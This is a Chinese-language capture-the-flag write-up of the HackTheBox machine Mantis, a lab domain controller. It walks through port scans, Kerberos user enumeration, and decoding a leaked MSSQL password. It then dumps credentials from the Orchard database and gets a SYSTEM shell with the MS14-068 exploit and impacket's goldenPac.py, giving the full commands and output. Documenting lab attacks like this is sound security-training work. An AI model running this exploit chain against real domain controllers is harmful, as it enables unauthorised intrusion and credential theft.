HackTheBox Writeup之拿下Mantis主機許可權過程
本次我們要拿下的主機是Mantis,我們需要很多的耐心和一點點的枚舉才能成功。最終的利用姿勢也非常酷,因為我以前從未做過類似的事情。真的很高興可以看到一個域控制器最終能在HackTheBox中彈出一個Shell。
埠掃描
讓我們開始使用nmap掃描。
root@kali:~/htb/mantis# nmap -A 10.10.10.52
Starting Nmap 7.50 ( https://nmap.org )
Nmap scan report for 10.10.10.52
Host is up (0.11s latency).
Not shown: 981 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15CD4)
88/tcp open tcpwrapped
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2014 12.00.2000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: MANTIS
| DNS_Domain_Name: htb.local
| DNS_Computer_Name: mantis.htb.local
|_ Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2018-02-09T14:23:56
|_Not valid after: 2048-02-09T14:23:56
|_ssl-date: 2018-02-09T14:30:53+00:00; 0s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
8080/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Tossed Salad - Blog
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.50%E=4%D=2/9%OT=53%CT=1%CU=35559%PV=Y%DS=2%DC=T%G=Y%TM=5A7DB115
OS:%P=i686-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=108%CI=I%TS=7)SEQ(SP=101%GCD=1
OS:%ISR=107%TS=7)SEQ(SP=103%GCD=1%ISR=108%TI=RD%CI=I%TS=8)OPS(O1=M54DNW8ST1
OS:1%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST
OS:11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80
OS:%W=2000%O=M54DNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R
OS:=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=
OS:AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=
OS:80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0
OS:%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=1
OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: Host: MANTIS; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| ms-sql-info:
| 10.10.10.52:1433:
| Version:
| name: Microsoft SQL Server 2014 RTM
| number: 12.00.2000.00
| Product: Microsoft SQL Server 2014
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery:
| OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: mantis
| NetBIOS computer name: MANTISx00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: mantis.htb.local
|_ System time: 2018-02-09T09:30:52-05:00
| smb-security-mode:
| account_used:
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
|_smbv2-enabled: Server supports SMBv2 protocol
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 52.42 ms 10.10.14.1
2 252.79 ms 10.10.10.52
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 264.56 seconds
OK,掃描完畢,在這裡我們有相當多的東西可以用來分析。我們發現這台主機開放了LDAP埠,可以說明這是一個域控制器。8080埠上似乎正在運行著一個IIS站點,所以讓我們來看看頁面。
除了登錄信息外,沒有太多的信息,連用戶名也不知道。使用gobuster掃描後除了與Orchard網站相關的目錄之外,也沒有返回任何東西。我們可以嘗試通過kerberos來列舉用戶名,看看我們是否可以得到某些東西。
root@kali:~/htb/mantis# nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="htb.local",userdb=/usr/share/seclists/Usernames/Names/names.txt 10.10.10.52
Starting Nmap 7.50 ( https://nmap.org )
Nmap scan report for 10.10.10.52
Host is up (0.068s latency).
PORT STATE SERVICE
88/tcp open kerberos-sec
| krb5-enum-users:
| Discovered Kerberos principals
|_ James@htb.local
在這種情況下,似乎對於大多數人來說都比較棘手。讓我們啟動nmap並運行完整的埠掃描,來看看是否有我們最初的掃描未找到的其他埠。
root@kali:~/htb/mantis# nmap -p- 10.10.10.52 -T4
Starting Nmap 7.50 ( https://nmap.org )
Initiating Ping Scan at 10:05
Scanning 10.10.10.52 [4 ports]
Completed Ping Scan at 10:05, 0.42s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:05
Completed Parallel DNS resolution of 1 host. at 10:05, 6.18s elapsed
Initiating SYN Stealth Scan at 10:05
Scanning 10.10.10.52 [65535 ports]
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1337/tcp open waste
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5722/tcp open msdfsr
8080/tcp open http-proxy
9389/tcp open adws
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49164/tcp open unknown
49166/tcp open unknown
49168/tcp open unknown
50255/tcp open unknown
這次掃描需要很長一段時間,但我們確實看到了1337埠是開放的。如果我們用瀏覽器訪問這個埠,會看到默認的IIS登錄頁。
讓我們使用gobuster為我們開啟新發現的港口。
root@kali:~/htb/mantis# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.52:1337
Gobuster v1.2 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.52:1337/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/secure_notes (Status: 301)
在掃描了很久之後,我們終於得到了一點有用的信息。
該web.config文件會引發404錯誤。dev_notes後面那一串看起來像是base64編碼過的。頁面的內容為我們提供了用戶名——admin以及資料庫名稱orcharddb。
讓我們嘗試解碼文件名中的base64。
root@kali:~/htb/mantis# base64 -d
6d2424716c5f53405f504073735730726421
這與任何常見的加密散列長度都不匹配,但看起來像十六進位。
root@kali:~/htb/mantis# echo 6d2424716c5f53405f504073735730726421 | xxd -r -p
m$$ql_S@_P@ssW0rd!
繼續!讓我們拿這些憑證進行登錄。如果我們試圖使用sqsh工具把sa作為用戶名和我們之前得到的密碼連接MSSQL,會返回訪問拒絕。然而,使用admin用戶和上面的那個密碼,我們就登錄進來了。
root@kali:~/htb/mantis# sqsh -S 10.10.10.52 -U admin
sqsh-2.1.7 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2010 Michael Peppler
This is free software with ABSOLUTELY NO WARRANTY
For more information type "warranty"
Password:
1>
現在我們列舉資料庫orcharddb裡面的表名。
注意:我已經格式化了下面的內容,sqsh的輸出格式有些混亂。如果需要,你可以輸出到CSV文件並查看其他內容。命令是:
go -m csv > /root/htb/mantis/table.csv
1> SELECT TABLE_NAME FROM orcharddb.INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = "BASE TABLE";
2> go
TABLE_NAME
----------------------------------------------------------------------------
blog_Orchard_Blogs_RecentBlogPostsPartRecord
blog_Orchard_Blogs_BlogArchivesPartRecord
blog_Orchard_Workflows_TransitionRecord
blog_Orchard_Workflows_WorkflowRecord
blog_Orchard_Workflows_WorkflowDefinitionRecord
blog_Orchard_Workflows_AwaitingActivityRecord
blog_Orchard_Workflows_ActivityRecord
blog_Orchard_Tags_TagsPartRecord
blog_Orchard_Framework_DataMigrationRecord
blog_Orchard_Tags_TagRecord
blog_Orchard_Tags_ContentTagRecord
blog_Settings_ContentFieldDefinitionRecord
blog_Orchard_Framework_DistributedLockRecord
blog_Settings_ContentPartDefinitionRecord
blog_Settings_ContentPartFieldDefinitionRecord
blog_Settings_ContentTypeDefinitionRecord
blog_Settings_ContentTypePartDefinitionRecord
blog_Settings_ShellDescriptorRecord
blog_Settings_ShellFeatureRecord
blog_Settings_ShellFeatureStateRecord
blog_Settings_ShellParameterRecord
blog_Settings_ShellStateRecord
blog_Orchard_Framework_ContentItemRecord
blog_Orchard_Framework_ContentItemVersionRecord
blog_Orchard_Framework_ContentTypeRecord
blog_Orchard_Framework_CultureRecord
blog_Common_BodyPartRecord
blog_Common_CommonPartRecord
blog_Common_CommonPartVersionRecord
blog_Common_IdentityPartRecord
blog_Containers_ContainerPartRecord
blog_Containers_ContainerWidgetPartRecord
blog_Containers_ContainablePartRecord
blog_Title_TitlePartRecord
blog_Navigation_MenuPartRecord
blog_Navigation_AdminMenuPartRecord
blog_Scheduling_ScheduledTaskRecord
blog_Orchard_ContentPicker_ContentMenuItemPartRecord
blog_Orchard_Alias_AliasRecord
blog_Orchard_Alias_ActionRecord
blog_Orchard_Autoroute_AutoroutePartRecord
blog_Orchard_Users_UserPartRecord
blog_Orchard_Roles_PermissionRecord
blog_Orchard_Roles_RoleRecord
blog_Orchard_Roles_RolesPermissionsRecord
blog_Orchard_Roles_UserRolesPartRecord
blog_Orchard_Packaging_PackagingSource
blog_Orchard_Recipes_RecipeStepResultRecord
blog_Orchard_OutputCache_CacheParameterRecord
blog_Orchard_MediaProcessing_ImageProfilePartRecord
blog_Orchard_MediaProcessing_FilterRecord
blog_Orchard_MediaProcessing_FileNameRecord
blog_Orchard_Widgets_LayerPartRecord
blog_Orchard_Widgets_WidgetPartRecord
blog_Orchard_Comments_CommentPartRecord
blog_Orchard_Comments_CommentsPartRecord
blog_Orchard_Taxonomies_TaxonomyPartRecord
blog_Orchard_Taxonomies_TermPartRecord
blog_Orchard_Taxonomies_TermContentItem
blog_Orchard_Taxonomies_TermsPartRecord
blog_Orchard_MediaLibrary_MediaPartRecord
blog_Orchard_Blogs_BlogPartArchiveRecord
(62 rows affected)
blog_Orchard_Users_UserPartRecord表看起來像是我們需要的。
1> USE orcharddb;
2> go
1> SELECT * FROM blog_Orchard_Users_UserPartRecord;
2> go
Id
UserName
NormalizedUserName
Password
PasswordFormat
HashAlgorithm
PasswordSalt
RegistrationStatus
EmailStatus
EmailChallengeToken
CreatedUtc LastLoginUtc LastLogoutUtc
------------------------------------------------------------
2
admin
admin
AL1337E2D6YHm0iIysVzG8LA76OozgMSlyOJk1Ov5WCGK+lgKY6vrQuswfWHKZn2+A==
Hashed
PBKDF2
UBwWF1CQCsaGc/P7jIR/kg==
Approved
Approved
NULL
Sep 1 2017 01:44PM Sep 1 2017 02:03PM Sep 1 2017 02:06PM
15
James
james@htb.local
james
J@m3s_P@ssW0rd!
Plaintext
Plaintext
NA
Approved
Approved
NULL
Sep 1 2017 01:45PM NULL NULL
(2 rows affected)
非常好,我們有james的密碼。我們已經知道,作為james登錄到webapp只會引發異常。那麼讓我們通過SMB測試這些憑據,看看它們是否是有效的Windows憑據。
root@kali:~/htb/mantis# smbclient -L 10.10.10.52/ -U james
WARNING: The "syslog" option is deprecated
Enter WORKGROUPjames"s password:
Domain=[HTB] OS=[] Server=[]
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
事實上它們是有效的。我們可以成功列出機器上的共享。快速瀏覽一下,在SYSVOL中我們可以看到兩個組策略對象,但這裡沒有什麼用處。
漏洞利用
我們的憑證不能用過winexe為我們返回一個Shell,所以我們必須找出另一種方式。既然我們知道這是一個域控制器,也許我們可以利用Kerberos為我們提供我們想要的東西。
有關如何進行攻擊的詳細說明,請點擊此處:http://adsecurity.org/?p=541
在按照文章中安裝了指定的依賴關係並獲取最新版本的impacket後,我們就可以開始進行攻擊了。讓我們編輯/etc/hosts並添加到域控制器中。
現在我們配置 /etc/krb5.conf
讓我們與DC同步一下我們的時間。
rdate -n 10.10.10.52
所以現在我們可以準備開始我們的攻擊過程了。首先,我們使用impacket工具生成我們的票證。
root@kali:~/htb/mantis/impacket-master/impacket-master/impacket/examples# kinit james
Password for james@HTB.LOCAL:
root@kali:~/htb/mantis/impacket-master/impacket-master/impacket/examples# klist
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: james@HTB.LOCAL
Valid starting Expires Service principal
02/09/2018 15:29:07 02/10/2018 01:29:07 krbtgt/HTB.LOCAL@HTB.LOCAL
renew until 02/10/2018 15:28:37
接下來我們需要獲取james的SID。
root@kali:~/htb/mantis/impacket-master/impacket-master/impacket/examples# rpcclient -U james mantis
Enter WORKGROUPjames"s password:
rpcclient $> lookupnames james
james S-1-5-21-4220043660-4019079961-2895681657-1103 (User: 1)
現在我們運行我們的MS14-068 python exploit腳本。
root@kali:~/htb/mantis/pykek-master# python ms14-068.py -u james@HTB.LOCAL -s S-1-5-21-4220043660-4019079961-2895681657-1103 -d mantis
Password:
[+] Building AS-REQ for mantis... Done!
[+] Sending AS-REQ to mantis... Done!
[+] Receiving AS-REP from mantis... Done!
[+] Parsing AS-REP from mantis... Done!
[+] Building TGS-REQ for mantis... Done!
[+] Sending TGS-REQ to mantis... Done!
[+] Receiving TGS-REP from mantis... Done!
[+] Parsing TGS-REP from mantis... Done!
[+] Creating ccache file "TGT_james@HTB.LOCAL.ccache"... Done!
默認情況下,客戶端使用的任何用戶票證授予票證(TGT)都是從位於的默認Kerberos憑據緩存中讀取的,緩存位於/tmp/krb5cc_uid。所以,現在我們有了我們的緩存文件,我們需要將其複製到適當的位置。
隨著一切就緒,我們可以使用來自impacket的工具的goldenPAC.py來獲得一個Shell。
root@kali:~/htb/mantis/impacket-master/impacket-master/examples# ./goldenPac.py HTB.LOCAL/james@mantis
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies
Password:
[*] User SID: S-1-5-21-4220043660-4019079961-2895681657-1103
[*] Forest SID: S-1-5-21-4220043660-4019079961-2895681657
[*] Attacking domain controller mantis.htb.local
[*] mantis.htb.local found vulnerable!
[*] Requesting shares on mantis.....
[*] Found writable share ADMIN$
[*] Uploading file cugfXzCt.exe
[*] Opening SVCManager on mantis.....
[*] Creating service QcYY on mantis.....
[*] Starting service QcYY.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:Windowssystem32>whoami & hostname
nt authoritysystem
mantis
現在,我們拿到了SYSTEM用戶的Shell!通過這個Shell我們就可以拿到user.txt和root.txt。


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